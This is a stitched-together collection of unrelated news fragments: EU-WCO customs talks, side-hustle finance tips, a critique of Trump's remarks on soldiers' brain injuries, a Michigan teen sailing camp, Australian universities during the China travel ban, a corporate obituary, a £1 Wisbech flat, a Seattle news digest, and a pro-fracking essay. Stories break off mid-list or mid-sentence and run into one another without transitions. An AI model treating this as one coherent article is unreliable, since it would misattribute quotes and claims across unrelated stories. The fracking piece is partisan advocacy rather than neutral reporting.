instruments, such as the Revised Kyoto Convention and the E-Commerce Package, as well as the implementation aspects of various WCO tools. They both agreed on the importance of international cooperation, and on the key role played by the EU in international forums as well as by its Member states in informed debates. Commissioner Gentiloni reaffirmed the EUs strong support for the WCOs activities as well as its commitment to the integration of developing countries in international trade. Secretary General Mikuriya and Commissioner Gentiloni agreed to continue strengthening the ties between the two Organizations in order to move forward with the agenda of the international Customs community. Getty Images Suddenly your side hustle is more than just pocket change. You could be looking at a new phase of your business, says Kurt Wiegert, a certified financial planner and president of Towson Wealth Management in Towson, Maryland. The trees are everywhere, yet sometimes you can't see the big-picture forest. For that, you might need an expert someone who can help you figure out a plan, even when you are foggy on everything but the broadest goals. With years of experience in digital marketing and content creation, Boulder, Colorado, resident Vee Weir realized she could work for herself. She took the leap and started her own digital marketing business in January 2019. In just about a year, Weir, 27, went from invoicing under $100 at a time to thousands of dollars in monthly retainers. "As an entrepreneur, I made $3,000 less [in a year] than I made at my full-time job," said Weir. "My mind is blown, how I broke even." Along with the increased revenue, though, came more questions and more decisions about business structure, how to pay herself and whether to use a CPA. In every kind of business, people fail to think about risk, said Wiegert at Towson Wealth Management, "whether it's insurance, investments [or] what is an exit strategy." A onetime consultation with a CFP can put you on the right path in terms of protecting yourself. If your insurance is inadequate, the CFP can help you uncover that. Wiegert recommends considering liability insurance and errors and omissions coverage. You might want to see if some areas can be added to your homeowner's policy. A good scenario would be a business owner working with both a CPA and a CFP. "It's a mistake to put everything back into the business," said Logan Allec, 31, a CPA with a personal finance blog called Money Done Right. "You have to think about retirement options, and a CFP can give a holistic picture." Here are seven more things you can do to expand your business, from side-hustlers who took it to the next level. 1.) Protect yourself Vee Weir Source: Vee Weir Weir, who says she is very risk-averse, immediately took steps to protect herself. She registered the business as a limited liability company, or LLC, to separate her personal assets from those of her site. She got a separate bank account. "It makes tax time easier, and it's way easier to record your profit, your net, your gross," Weir said. Weir felt she might be especially vulnerable because of the nature of her work. "In digital marketing, if you say the wrong thing or present inaccurate information" you could be looking at a lawsuit, she says. "You don't necessarily need to make a lot of money to cause financial harm or be sued," said Wiegert. Take the person who starts a YouTube channel. Two things to be wary of: copyright or legal issues. "Maybe they're saying things against a celebrity, and they don't know what they're doing," Wiegert said. 2.) Separate checks Logan Allec, 31, says neglecting work-life balance is a common mistake for new business-owners. Source: Logan Allec If your revenue is growing, keep separate accounts. It's pretty basic, Allec says, but a lot of new business owners make the mistake of not setting up a business account. Aside from the legal implications, "just from a tax and accounting perspective, it's an absolute nightmare," said Allec, who lives in Los Angeles. "They're doing great but running everything through one bank account: holiday gifts, dentist bills, receivables, payables." Paying someone else to straighten this out is time-consuming and expensive. "I've had to bill clients more to clean this up than for tax returns," Allec said. 3.) An easy finances hack With a side hustle that's not a formal business entity, you can just establish another personal account for all your business transactions, Allec says. Another way to keep your personal finances distinct from your business: "If you have an EIN [employer identification number], set up a business credit card," Allec said. This can simplify sorting expenses later on. 4.) Seek balance Allec says many fledgling owners neglect their personal finances and well-being. Eventually, though, "it can really affect your business," Allec said. Entrepreneur types can be workaholics, so overdoing it is understandable. But if you ignore your health and your family and friends, a few years down the road it all collapses. Your support system those family members and friends, as well as people on your team is critical, Weir says. "It's thrilling and risky and scary, and you need people there for your highs and lows, which can happen in one day." More from Invest in You: 3 questions to ask before launching a new business How to teach your kid to think like an entrepreneur Dream of being your own boss? Take this quiz 5.) Build a team Working with professionals is a way to protect yourself, Weir says. At first, she tried to do things on her own. There's no rule book, she points out, and she doesn't have a business degree. When her banker recommended Weir buy a payroll system, she reluctantly agreed, though she thought it was expensive. He said it would be a huge mistake not to use it. But then a CPA she consulted after moving to a new state told her the system was unnecessary after all. "I'm busy running a business," Weir said. The CPA pointed out that Weir lacks personal expertise as an accountant, so it made sense to outsource some of the money and tax work to a professional. As a single-person company, Weir keeps accurate records of everything she brings in, based on the CPA's advice. She canceled the payroll system. 6.) What's everyone else doing? Anthony Martin chose an S-Corp structure for his agency after conversations with other business-owners. Source: Anthony Martin Anthony Martin, 37, owns an insurance agency in Reno, Nevada. In the planning stages of starting his agency, he was wondering which business structure to use, so he scouted the competition. "I knew people who had developed large, successful agencies," he said. "So I asked them what they selected, and why." Each agency had established itself as an S-corporation for the tax benefits. Martin spoke with a CPA for more insight. While there are more reporting requirements associated with an S-corporation, the tax advantages make it worthwhile, he says. "Everyone seemed to say it comes down to your [revenue] projections and whether the numbers make sense," Martin said. He began to clear over $50,000 beyond the salary he was taking, and the structure actually worked in his favor. Don't be afraid to look at your competitors and even ask for advice. "You'll find most people are happy to share their knowledge," blogger Allec said. In most cases, you can build a network of people in your field. "Be a resource to them, too," he said. 7.) You can't do it all U.S. soldier's ex-wife says Trump's comments on traumatic brain injuries are harmful When U.S. President Donald Trump seemed to downplay traumatic brain injuries (TBI) sustained by American troops in an Iranian missile strike, University of Windsor assistant professor and former military spouse Kate Kemplin knew she needed to speak out. Not only has the nursing professor and researcher dedicated years of her life to studying brain injuries sustained in combat and has worked for the U.S. army as a nurse specialist she has witnessed the toll these injuries can take on a person first hand. Her ex-husband, Sgt. 1st Class Michael Froede, an American soldier, sustained a TBI while serving in Iraq in 2007, which Kemplin says eventually led to his death by suicide in June of last year. "His physical body came back from Iraq, but he didn't," she said. Submitted by Kate Kemplin Personality changes, sleep disturbances, headaches, trouble sleeping, paranoia were all symptoms that followed, Kemplin said. "When he got back, I could see that it was beyond re-adjustment, it was beyond normal re-integration issues that service members have when they get back. These were strong indicators that a traumatic brain injury had occurred," she said. The couple had married in 2004 and had two daughters together. They divorced in 2013. Kemplin, who is originally from Owen Sound, moved her family from the U.S. to Kingsville, Ont., last year, six weeks after Froede's death. Trump appearing to minimize injuries In January, headlines about U.S. soldiers injured in Iraq hit close to home for Kemplin. Ali Abdul Hassan/The Associated Press Iran fired missiles at the Ain al-Asad base in Iraq on Jan. 8 in retaliation for the U.S. drone strike five days earlier that killed top Revolutionary Guard Gen. Qassem Soleimani. It puts the funding [for traumatic brain injuries] in jeopardy. - Kate Kemplin In the weeks that followed, more than 100 U.S. soldiers were diagnosed with traumatic brain injuries following the strike. After the initial reports that some soldiers had been hurt, Trump referred to them as "headaches" and said the cases were not as serious as injuries involving the loss of limbs. Story continues His comments prompted criticism from lawmakers and a U.S. veterans' group, and it struck a chord with Kemplin. "Whenever you have someone, the head of the executive branch, the most powerful person in the world, denigrating a combat injury that has really serious implications, it sends a message to legislators who appropriate money for that. And treating traumatic brain injury, especially in the military, takes money. Researching it takes money," she said. "If you have the head of the executive branch saying that they're just headaches, then I think ... it puts the funding in jeopardy." And she stressed how painful Trump's comments must have been to the families of those whose loved ones were injured. "You know, my children ... they heard that on the news," she said. "They knew that their dad had a TBI. They know it's not just headaches." 408,000 U.S. service members diagnosed with TBI The U.S. Defence Secretary Mark Esper did defend Trump's response to that strike, saying that the president cares about the service members and is concerned about their health and welfare. Since 2000, about 408,000 service members have been diagnosed with traumatic brain injury, according to Pentagon data. "It's a worldwide military issue because explosions don't discriminate," Kemplin said. "And you know, Canada has had service member suicide issues as well. And I think bringing attention to the American side of it brings attention to the Canadian side of it." With all of this hitting so close to home, Kemplin says she feels compelled to speak out and is driven to continue her research on the subject. Submitted by Kate Kemplin "I think the reason I'm speaking up now is because this can't be an accident. It can't be a coincidence that I studied TBI in graduate school and then my husband had a blast-related TBI," she said. Three weeks after publishing her initial findings on soldier suicide, Froede died by suicide. 'He would appreciate me stepping up' "So like, how much does the universe have to tell me that this is important for me to actually speak up about it?" She explained that traumatic brain injuries are still misunderstood and that the symptoms are often conflated with PTSD and other conditions like mood disorders, anxiety or depression. She said that while those conditions might be occurring, sometimes the root cause is missed. That's why, she says, there needs to be a concerted effort to bring traumatic brain injury into the conversation and to push for research funding so that service members can get the treatment they require. In an e-mailed statement, the Canadian Armed Forces wrote that it takes all necessary safety precautions, providing the necessary training and equipment to members to help reduce the risk of injuries, both physical and mental. It added that its approach to mental health and wellness has evolved. "In medical sciences, we are continuously researching important topics such as traumatic brain injuries to ensure we are on the cutting edge of evidence-based knowledge and treatment," the statement said. Kemplin remembers her ex-husband as funny and smart, a father who loved his girls. When he died in hospital, Kemplin was able to be by his side. "I think it would be a very different experience if I had not been able to say goodbye to him. I'm a nurse, so I was able to shampoo his hair and get him ready to go." Froede will be buried at Arlington National Cemetery, near the U.S. capital, next month. "I think he would have really enjoyed watching me push back on some of the political comments," Kemplin said. "And you know, he liked fighters and he was a fighter. So, I think he would appreciate me stepping up." BaySail will offer its popular Windward Bound sailing adventure camp at no cost to Great Lakes Bay teens in 2020, thanks to generous donors. As many as 36 area teens will be assigned coveted trainee berths aboard BaySail vessel Appledore V for six voyages throughout the Great Lakes this summer. Voyages range from six to nine days in length; are offered in June, July and August. Windward Bound is a co-ed, live-aboard voyaging experience for teens aged 14 to 18. A maximum of six trainees at a time sail aboard the 65-foot schooner Appledore V. During voyages, the program focuses on seamanship and freshwater science. As the ship sails between ports, participants stand a regular watch while learning every aspect of running the ship, from navigation to meal preparation. Each voyage takes participants on an experience determined in part by the destination and the amount of time it takes to reach each port. "We teach the trainees basically how to run the ship. First years will learn how to chart a voyage, steer the ship, and raise and strike the sails. They'll get their fill of the great lakes ecosystems along with it. Returning trainees will get more experience on how to trim sails based on conditions, and plotting and charting will be more complex. Returning students will actively plan the voyage from the start," said Sydney Bickerstaff, first mate and education coordinator of Appledore V. Recognizing the program's significant impact on individual trainees as well the importance of Great Lakes environmental education, all participant voyage costs have generously been covered by a small group of local benefactors. These donors believe character development is at the core of the Windward Bound program, and the Captain and First Mate agree. "I think character development is the biggest thing the program has to offer, because while we are teaching students to sail, we are teaching things like perseverance and not giving up" - Bickerstaff. "There's nothing better and more rewarding than harnessing the wind and conquering seas that most people shy away from. You learn how to be a team player, count on the people you work with. It's not an individual thing, it's a group effort" - Matthew Tkach, Captain of Appledore V. Appledore IV and Appledore V are owned and operated by BaySail, a nonprofit organization headquartered in Bay City, Michigan. BaySail holds a travel camp license through the State of Michigan and its vessels are licensed and inspected by the US Coast Guard. In addition to sail training programs, BaySail also offers environmental education programs and public sailing opportunities. Windward Bound applications are available at www.baysailbaycity.org. Completed applications are due April 3 at midnight. For more information about Windward Bound, BaySail or its vessels, visit BaySail's website or call 989-895-5193. Flash As the Australian government's travel ban on Chinese enters its third week, universities around the country are bracing for the economic fallout with 100,000 students left stranded in China. Even when the ban is lifted analysts say it will be a logistical nightmare to get the students back, settled in their classes and accommodated during the first semester of the academic year which starts next month for most universities. Prime Minister Scott Morrison announced on Feb 13 that his government would extend its entry restrictions on foreign nationals who have recently been in the Chinese mainland for a further week from Feb 15, "to protect Australians from the risk of coronavirus". The decision only added to the uncertainty in the country's higher education sector already under growing pressure from its high fee-paying Chinese students. The international education sector contributed about A$35 billion ($23.5 billion) to Australia's economy last year, according to the Department of Foreign Affairs and Trade, making it the country's most lucrative "export" after iron ore. Chinese students, who make up more than one-third of the international cohort, account for 11 percent of enrollments at Australian universities, with some institutions relying on their tuition fees for nearly one-quarter of their revenue. Analysts say that the sector will be hit financially but the extent will not be known until the travel ban is lifted. Phil Honeywood, executive director of the International Education Association of Australia, was recently quoted by the Australian media as predicting the travel ban could cost universities up to A$8 billion in the worst-case scenario of Chinese students missing their first semester en masse. An academic with one of Australia's biggest universities, who did not want to be named, said that all students have till March 31 to withdraw from their courses "without penalty". "The point is no one knows, with any degree of certainty, how many students will be pulling out and what the financial impact will be on the universities," he said. "It is still too early to know the complete and detailed financial impact on universities," said Catriona Jackson, chief executive of Universities Australia, the apex body for the sector representing 39 member universities. "It depends on how long the travel restrictions remain in place, and the mitigating effect of the flexible options each university offers to their students." Options offered "Universities are working hard to offer students who remain in China a range of options. These include postponing course start dates, delaying assessments, offering fee-free deferrals and being able to access course content online," she said. The University of Sydney has one of the highest numbers of Chinese students enrolled. In 2019, Chinese students represented about 24 percent of the university's total student body. "We understand from the federal government that around 14,000 of our students from China remain overseas," a spokesperson for the university said. "All units of study are set to begin on the first day of our semester (Feb 24) apart from our Master of Commerce and Master of Professional Accounting (courses) which have both been delayed for two weeks till March 9." The illustrious Chicago comedy theater at 1613 N. Wells St. first staged Ed Furman and T.J. Shanoffs satirical spoof of all things Blagojevich in 2009 in its e.t.c space, drawing inspiration from Jesus Christ Superstar, Godspell and similar rock operas from the 1970s. The show later moved to Chicago Shakespeare Theater on Navy Pier and then the Metropolis Performing Arts Center in Arlington Heights. [February 21, 2020] JEMTEC Announces Passing of Board Member Cyril Ing TSX-V: JTC VANCOUVER, Feb. 21, 2020 /CNW/ - JEMTEC Inc. (TSX-V: JTC) ("JEMTEC" or the "Company") announces, with deep regret and sadness that Mr. Cyril Ing, a director of the Company, passed away last weekend. Cyril joined the board of directors in 2000 and served as a member of the audit committee. Cyril's significant business experience, vision and guidance helped support the Company through some challenging times in its history. His positive personality, integrity and resolve will continue to inspire us. "On behalf of the JEMTEC family, we extend our deepest condolences to Cyril's family and to all who came to know him. He will be truly missed." stated Jeremy Kendall, Chairman. About JEMTEC JEMTEC is a Canada-based provider of integrated technology systems for community-based corrections in Canada. The Company's core business is the provision of services and technology for offender monitoring in Canadian federal and provincial correctional departments. Offender location detection/verification technologies include offender reporting via telephone contact, Global Positioning System (GPS) active and passive tracking, voice verification, electronic monitoring house arrest systems, remote alcohol in-home monitoring and private monitoring services. Modern alcohol detection technology remotely captures a person's breath alcohol level, facial image and GPS location, at the same time. Radio-frequency technology can determine a person's presence or absence at the home location. Voice verification systems can be set to perform random spot checks that a person is abiding by their curfew order. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE Jemtec Inc. [ Back To TMCnet.com's Homepage ] Still, the hospital was the site of some major advancements in medicine. It hosted the first blood bank and provided the blueprint for modern trauma centers. In the early years of the 20th century, surgery was often a performance art as well as a medical procedure. Accordingly, the hospital had a surgical theater. Looking roughly like an ancient Greek theater, it had steeply ascending rows of seats where spectators could look down on an operation. Surgeons came from all over the world to the county hospital to see surgical breakthroughs demonstrated. The Japan Fisheries Association (JFA) and A Au Vocational Guidance Corporation held a workshop to introduce Japanese fish products to Vietnamese traders and restaurateurs, particularly those operating in Hanoi. A representative from teh Japan Fisheries Association began the workshop to introduce Japan fisheries Nguyen Van Lap, the winner of Iron Chef 2013 (right), and his colleague showcased their culinary art using Japanese fish products Lap made a spectacular show at the workshop Sushi, a popular Japanese dish favoured by people around the world Food prepared from Japanese fish served at the workshop Fresh oyster from Japan attracted great interest Apart from raw and fresh goods, there was also processed food on showcase The workshop was attended by owners of restaurants and export-import companies Participants could enjoy a dessert of jelly made from Japanese matcha By Tan Duong A town-centre flat with stunning river views has sold for 1 because no-one can get to it, has ever lived in it or knows what's inside. The remarkable property in Wisbech, Cambridgeshire, comprises of one 129 square-foot room with no doors. The property - nestled between a Chinese restaurant and an insurance broker - is suspended above an alleyway meaning there is no way to get into it. It has one long window at the front with far-reaching views but it is boarded up so no-one can see what's inside. A town-centre flat in Wisbech, Cambridgeshire, with stunning river views has sold for 1 because no-one can get to it, has ever lived in it or knows what's inside The remarkable property comprises of one 129 square-foot room with no doors. No-one has been able to access it as it is suspended above an alleyway The property boasts views across the river of Wisbech, Cambridgeshire. But there is no record of anyone ever using it or living there. Pictured: Views from the insurance brokers next door There is no record of anyone ever using it or living there. Despite its limitations, it sold at auction by Norfolk-based auctioneers William H Brown with an initial guide price of 100. But this guide price dropped to 1 at the last minute and a local unnamed businessman snapped it up. The contents and condition of the unusual property remain a mystery as even the auctioneers were unable to access it. When it first went on their books, auctions partner Victoria Reek described it as 'certainly one of the weirdest ones we've had at auction' and admitted it was 'probably just full of cobwebs'. The unusual property, located at 5-6 Nene Quay, is in a terrace of old buildings, believed to have been built as granaries or shops in the 16th century It has one long window at the front with far-reaching views, but it is boarded up meaning no-one knows what is inside. Despite its limitations, it sold at auction by Norfolk-based auctioneers William H Brown with an initial guide price of 100 but this was later dropped to 1 The unusual property, located at 5-6 Nene Quay, is in a terrace of old buildings, believed to have been built as granaries or shops in the 16th century. Today, it sits between Tasty China restaurant and Bridge Insurance office. Fenland District Council, which has owned it since 1966, put it up for sale alongside other 'surplus properties'. The auctioneers said it was the cheapest they had ever seen a property sell for. The property sits between Tasty China restaurant and Bridge Insurance office. The property's window (centre) is boarded up But the buyer will actually have paid more in fees than the actual price of the property, paying around 1,000 in total, and no doubt paid for the lot in full rather than simply putting a deposit down. The auction details state: 'This is an opportunity to acquire a flying freehold which extends over part of a vehicular access passageway and comprises a single, currently inaccessible room, measuring approximately 12 square metres. 'There is limited information and we have not, at this stage, gained access.' Fenland District Council, which has owned it since 1966, put it up for sale at auction alongside other 'surplus properties' Norfolk-based auctioneers William H Brown said it was the cheapest they had ever seen a property sell for. It boasts views over the river Cliff Humphreys, a senior insurance broker at neighbouring Bridge Insurance Services, said he is 'disappointed' with the council for letting the property go for just 1. The 65-year-old, who previously made a 250 offer on the property, said: 'It has become a joke. They have turned it into a laughing stock. 'I was trying to be sensible about it, and come to an amicable agreement with them. Cliff Humphreys, a senior insurance broker at neighbouring Bridge Insurance Services, said he is 'disappointed' with the council for letting the property go for just 1 'Prior to the auction I made them an offer of 250, which they accepted, but on the condition that I completed within 14 days, and paid 1,200 in legal fees. 'I thought, I'm not going to do that. And now it has been sold to some idiot at auction for just 1. 'I don't know who the vendor is, but I would like to speak to him. 'He's never going to get access to the property through my office. I won't allow it.' Mr Humphreys bought the building - which now houses Bridge Insurance Services - in 1989 but he has never seen inside the single-room 'floating freehold'. He said: 'For all intents and purposes, it is part of my property. If I were to ever sell this building or turn it into flats, it would be another bit of space for me to utilise. 'The council have been irrational and a bit stupid in the way they have dealt with all of this. 'I certainly don't want to get caught up in this comedy of errors - I just wanted to come to a quiet agreement with the council over the room.' He added: 'I think the man who bought it has been a bit of a fool. 'He obviously just threw his hand up at auction and bought it for 1 - but now he'll have to pay council tax, and 1,200 of fees, and he'll find it difficult to insure it as it has no base. 'I would guess he's also looking at around 1,000 to 1,500 worth of repairs inside, as well - the state of it is not really known.' A 'flying freehold' means it has no structure underneath but extends over a passageway. Flying freeholds are most common where an older, large building has been converted into a number of smaller properties. At some point the room may have belonged to the building next door but somehow got separated over time. Photo: KaLisa Veer/Unsplash Missed the most recent top news in Seattle? Read on for everything you need to know. Macklemore joins Dutch Bros. Coffee as executive creative director Read the full story on KING5. 37 dogs in suspected Tacoma dogfighting ring to be up for adoption Read the full story on KING5. Students rally around beloved Granite Falls teacher with brain tumor Read the full story on KING5. Seattle archbishop: Gay Catholic teachers face 'particular consequences' Read the full story on SeattlePI . Bellevue man arrested for 2nd-degree murder after wife goes missing Read the full story on KING5. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Macklemore will be focused solely on Cold Brew, including new flavors, products and more. The dogs were seized in December. The shelter says all the dogs have been friendly, loving and sociable since arriving at the shelter. Tracy Orr has taught in Granite Falls for 21 years. For many students, she's more like a mom figure. Now the kids are acting as her support system. Seattle's Catholic archbishop Paul Etienne, responding to the "voluntary resignation" of two gay teachers at John F. Kennedy High School, used soothing language in a Wednesday night letter but defended an anti-LGBTQ doctrine that many of the faithful find deeply offensive. Few people understand the ground better than Larry Fulmer, a soft-spoken man with flowing white hair pulled back into a ponytail. Fulmer, the hydrofracturing superintendent for Cabot Oil & Gas in Pennsylvania, knows just how much pressurized water and sand will liberate the natural gas trapped in the shale rock a mile beneath our feet. Here, in a small square field carved out of hill country in Dimock, Pennsylvania, his crew is mixing water and sand day and night. They pull [the mixture] in at 35 to 40 pounds per square inch, he explains, and boost it to whatever our treating pressure is, anywhere from 4,000 to 9,000 pounds per square inch, and they send it back to the missilethe final hose to the well. Like a traveling show, Fulmers people will be here for just four days before packing up and moving on to the next venue. Over the last half-decade, workers like Fulmer have tapped immense quantities of previously unreachable energy from pockets deep underground. The economic and political benefits of this Shale Revolution, as its sometimes called, are enormous. Shale gas is locally abundant and easily transported to serve the heating and electricity needs of the East Coast. It diminishes our dependence on foreign oil and gas, generates domestic jobs, and pours money into poor rural areas. The hydrofracturing technology to extract, transport, and use it already exists, so theres no need for decades of research and development before we can take advantage of it. Shale gas is also far cleaner than oil and coal; indeed, environmentalists should be crusading for it. Instead, they have sought to smother the Shale Revolution, claiming that its harmful to the environment and promoting their cause through complaisant media. Their relentless work has begun to turn public opinion and has even influenced New Yorks governor to delay the approval of fracking in his state. Thats why Ive come to visit an active drilling community in rural Pennsylvania, atop the vast rock formation called the Marcellus Shale. I want to observe gas exploration in person. When youre on the ground, its hard not to be awed by its promiseand worried that so many have become convinced otherwise. The Marcellus Shale is a layer of gas-rich rock that runs northeast to southwest across several mid-Atlantic states. It extends from New Yorks Finger Lakes district and Southern Tier through the western half of Pennsylvania and into eastern Ohio and much of West Virginia, covering nearly 100,000 square miles. The layer gets its name from a surface outcropping near Marcellus, New York. Geologists became aware of the natural gas trapped in the Marcellus Shale decades ago. The problem was how to extract it. Some liken shale to the filling of an Oreo cookie: its a pay zone sandwiched horizontally between layers of limestone far beneath the earths surface. The shale is composed of thin sheets of rock packed too closely together to allow gas to move through. And even if you could free the gas somehow after digging a traditional vertical well, you would reach only what was directly beneath your drilling sitejust as a straw punched through the outside of an Oreo might reach the filling at the straw end but would have little luck pulling in the cream around it. The problem was solved by Texas oilman George P. Mitchell, who spent millions of dollars and nearly two decades trying to extract the natural gas trapped in the Barnett Shale formation in his native state. What did the job, Mitchell eventually discovered, was a combination of two technologies: hydraulic fracturing and horizontal drilling. Hydraulic fracturingotherwise known as hydrofracturing, fracing, or (most popularly, though it was originally pejorative) frackingis the fracturing of rock with pressurized fluid. The technology has been around since the late 1940s, when companies used it to release additional oil from spent wells. Horizontal drilling has existed even longer but became prevalent in the 1970s, with the development of advanced surveying tools and the directional mud-motor drill head, impelled by pressurized mud that is pumped down a well and passes over a screw-shaped rotor. Mitchells horizontal fracking came online about 15 years ago and launched the Shale Revolution. Once drillers reach the right depth, they bend their well hole horizontally, so that it runs through the middle of a shale formation. Then, after punching additional holes through the sides of the horizontal well, they pump in pressurized fluid, which pushes through the holes, forces the layers of shale slightly apart, and releases the gas trapped inside, which can then flow up the well. Water and sand make up 99 percent of the fluid; the rest consists of biocides and softeners to reduce friction and contaminants. The sands job is to keep the fissures about a millimeter open after the water is removed so that the gas can continue to flow. The drilling stage of this process can take several weeks, with the pressurized-fluid treatment lasting four days. On the northern Pennsylvanian Marcellus, the wells link up with the underground infrastructure of gas pipelines that crisscrosses the eastern United States, making on-site gas storage unnecessary. The gas flows to power plants and urban distribution lines. Once the drilling and fracking are completed, the energy firm removes all the equipment from the site and restores the topsoil. All thats visible is a tiny wellhead and storage tanks to collect the small amount of fracturing fluid that returns to the surface, which the company will reuse in future jobs. MARK OVASKA/REDUX Since the first modern hydrofracturing wells pushed down into the Marcellus in 2007 and 2008, the estimates for the recoverable gas content of American shale have kept rising. In 2000, shale produced only 2 percent of our domestic gas supply. According to the federal governments Secretary of Energy Advisory Board, 50 percent now comes from shale and other unconventional sources, a share expected to rise to 80 percent by 2035. Pennsylvania may sit on the second-largest natural-gas field in the world; significant deposits also lie beneath Arkansas, Louisiana, New York, North Dakota, Ohio, Oklahoma, and West Virginia. In 2012, the International Energy Agency predicted that the United States would surpass Russia to become the worlds largest natural-gas producer by 2015. A 2011 study from the Massachusetts Institute of Technology (MIT) estimates that Americas supply of gas will last more than 90 years. The Shale Revolution has brought enormous economic benefits to American producers and consumers. According to a 2012 study by the consulting and forecasting firm IHS Global Insight, shale oil and gas combined generated $87 billion in domestic capital investments in 2012. These investments will rise to $172.5 billion annually by the end of the decade, IHS says, and could total $5.1 trillion by 2035. Much of the investment has taken place in struggling rural economies. Shale developers not only lease drilling sites from their owners; they also pay the owners of the distant plots whose gas is being tapped. Gas distributors pay people to run underground pipelines through their properties. Drilling firms share the returns of each well with the landowner. The advantages arent confined to the gas industry and its direct beneficiaries; savings on energy ripple through the broader American economy. The U.S. Energy Information Administration reports that the shale-gas boom has pushed down the price of natural gas in America to one-third of its 2008 level. The lower costs of shale gas, PricewaterhouseCoopers reports, will yield 1 million domestic manufacturing jobs by 2025 and add 0.5 percent growth to the nations gross domestic product. From 2012 through 2015, American households will save an average of $900 per year2 percent of median household incomeon their heat and electricity bills thanks to shale gas, IHS estimates. The development of a ready source of domestic energy directly improves Americas geopolitical position, too, given that unsavory states currently govern much of the worlds energy supply. Shale gas even helps protect the environment by replacing coal in power plants, since gas produces far less carbon dioxide, sulfur, carbon monoxide, and ash than coal does. For years, coal drove more than half of all American energy production, but its share dropped to 42 percent in 2011, the lowest figure since analysts began keeping track in 1949. The ongoing shift from coal to natural gas is the main reason that American greenhouse-gas emissions have declined by 450 million tons in five yearsa 5.3 percent drop from 2011 to 2012 alone. By contrast, greenhouse-gas emissions have risen in Europe, which lacks a ready source of gas and has been replacing oil and aging nuclear power with coal. Displacement of coal-fired power by gas-fired power . . . is the most cost-effective way of reducing CO2 emissions in the power sector, the MIT study concludes. New York City in particular could benefit greatly from the Shale Revolution. A network of pipelines already delivers gas to nearly every home stove in the five boroughs. The heating boilers in the basements of most residential and commercial buildings, which now run mostly on dirty Number 4 and Number 6 heating oil, could be converted to cheaper, cleaner natural gas over time. My own Upper West Side apartment building has just replaced an obsolete boiler that burned Number 6 oil with one that burns cleaner Number 2 but can shift to gas power with the flick of a switchonce enough gas is available. Utilities are already working to upgrade the underground pipelines to make the changeover possible. Con Edison is installing a gas line an avenue away from my building, and a new city initiative called NYC Clean Heat is helping us persuade the utility to bring the supply to our building. Mayor Michael Bloomberg has embraced shale development, envisioning a city in which buses and trucks run on natural gas and electric vehicles are charged through gas-fired power plants. Remember that 13,000 Americans will die from the effects of coal-fired power plant pollution every year, Bloomberg said this April. I dont know of anybody yet thats been killed by fracking. Shale gass benefits wont be realized, though, if environmentalists have their way. Convinced of the evils of fossil fuels and the promise of renewable energy, they have successfully portrayed fracking as a destructive and dangerous practice, rather than a safe, tested means of extracting a clean, local, and naturally abundant resource. They often cite a 2011 article in Climatic Change, written by Robert Howarth, Renee Santoro, and Anthony Ingraffea, that contends that 3.6 percent to 7.9 percent of the methane from shale-gas production escapes to the atmosphere in venting and leaks over the lifetime of a well. Therefore, the piece continues, the [greenhouse-gas] footprint for shale gas is greater than that for conventional gas or oil when viewed on any time horizon. This much-publicized article, however, has been debunked by many other researchers, including Cornell Universitys Lawrence Cathles, who argues that Howarth and his colleagues significantly overestimate the fugitive emissions associated with unconventional gas extraction. An equally unpersuasive environmentalist claim is that fracking contaminates groundwater. As Columbia Law Schools Thomas Merrill and David Schizer conclude in a study of shale regulations, there is little evidence so far that subterranean fracturing activity can directly contaminate groundwater, and this risk may never materialize. The layer of shale that is fractured is usually thousands of feet below the water table, with a buffer of dense rock or clay in between. Of the 35,000 gas wells fractured in the United States in 2006, they write, the paucity of confirmed incidents of water contamination from the underground migration of fracturing fluid provides powerful evidence that the risk is small. At one point, a handful of Pennsylvania residents complained to the media that fracking had contaminated their drinking water, but the Environmental Protection Agency surveyed their groundwater and found it safe. The recently released anti-fracking documentary Gasland (not to be confused with the recently released anti-fracking movie Promised Land, starring Matt Damon) shows a Colorado man holding a match near his faucet water and watching the flame flare up dramaticallybecause of gas released by fracking, the documentary says. But Colorados Oil and Gas Conservation Commission discovered that the cause was naturally occurring methane in the residents water. (Merrill and Schizer recommend that gas companies, before drilling, survey water for existing levels of methane to mitigate false claims and shakedowns.) The Center for Rural Pennsylvania, an agency of the state legislature, has found no statistically significant increases in methane levels after drilling. Nevertheless, celebrities have embraced the anti-fracking cause with gusto. In 2012, Yoko Ono and Sean Lennon, the widow and son of slain Beatles front man John Lennon, formed the advocacy group Artists Against Fracking, which soon had more than 200 prominent signatories, including Alec Baldwin, Anne Hathaway, David Geffen, Gwyneth Paltrow, and Lady Gaga. Artists Against Fracking has erected billboards, organized a letter-writing campaign to New York governor Andrew Cuomo, and chartered a luxury tour bus to drive to Dimock, where Ono and Lennon, along with actress Susan Sarandon, brought drinking water to residents. I cant believe that here in the United States people dont even have water to drink, says Ono in a video about the trip posted on YouTube. Its more horrible than I could imagine, Lennon adds. Seven months after Artists Against Fracking formed, a March Quinnipiac University poll found that, for the first time, New Yorkers opposed fracking, 45 to 39 percentan unsurprising outcome, given the unremitting campaign against shale gas. One of the opponents is apparently Governor Cuomo, once a supporter of shale-gas development, who has cited environmental risks in delaying approval of drilling in the states economically depressed Southern Tier. As the New York Posts Fredric Dicker reported in April, After telling associates for nearly two years he believed natural-gas drilling could be conducted safely, Cuomo developed cold feet late last year in the wake of an increasingly aggressive anti movement led by environmental activists, including his former brother-in-law and uncle to his three daughters, Robert F. Kennedy Jr. Further, proposed legislation in Albany would require all shale gas to undergo tests for radon before it could enter city limits, probably raising the ultimate price of gas and encouraging people to stick with coal and heating oil. Its worth noting that Artists Against Fracking was born after gas-development companies, looking to serve New York Citys cleaner energy demands, announced plans to run an underground distribution line near the Lennon familys second home in Delaware County. The not-in-my-backyard possessiveness of wealthy Catskills second-homeowners is effectively preventing poorer, less politically connected, communities from profiting from the energy wealth beneath their feet. Soon after Lennon and Ono traveled to Dimock, I made my own trip and found a very different scene. Most of the protest signs are pro-gas. One pro-fracking organization, Dimock Proud, was founded by two landowners to serve, they say, as the voice of the silent majority in their town. Residents here took part in a new documentary, FrackNation, an effort by journalists Phelim McAleer and Ann McElhinney to document the distortions of the anti-fracking lobby. For an area with extensive gas development, Dimock seems almost bereft of heavy industry to the naked eye; its wells are tucked into the regions endless folding hills. After many twists and turns, I finally come to a Cabot derrick, one of five that the company runs in the area. Here I ask Steve McDonald, Cabots colorful drilling consultanta dead ringer for Hank Williams, Jr.if the owner of the house next door to the site had to move 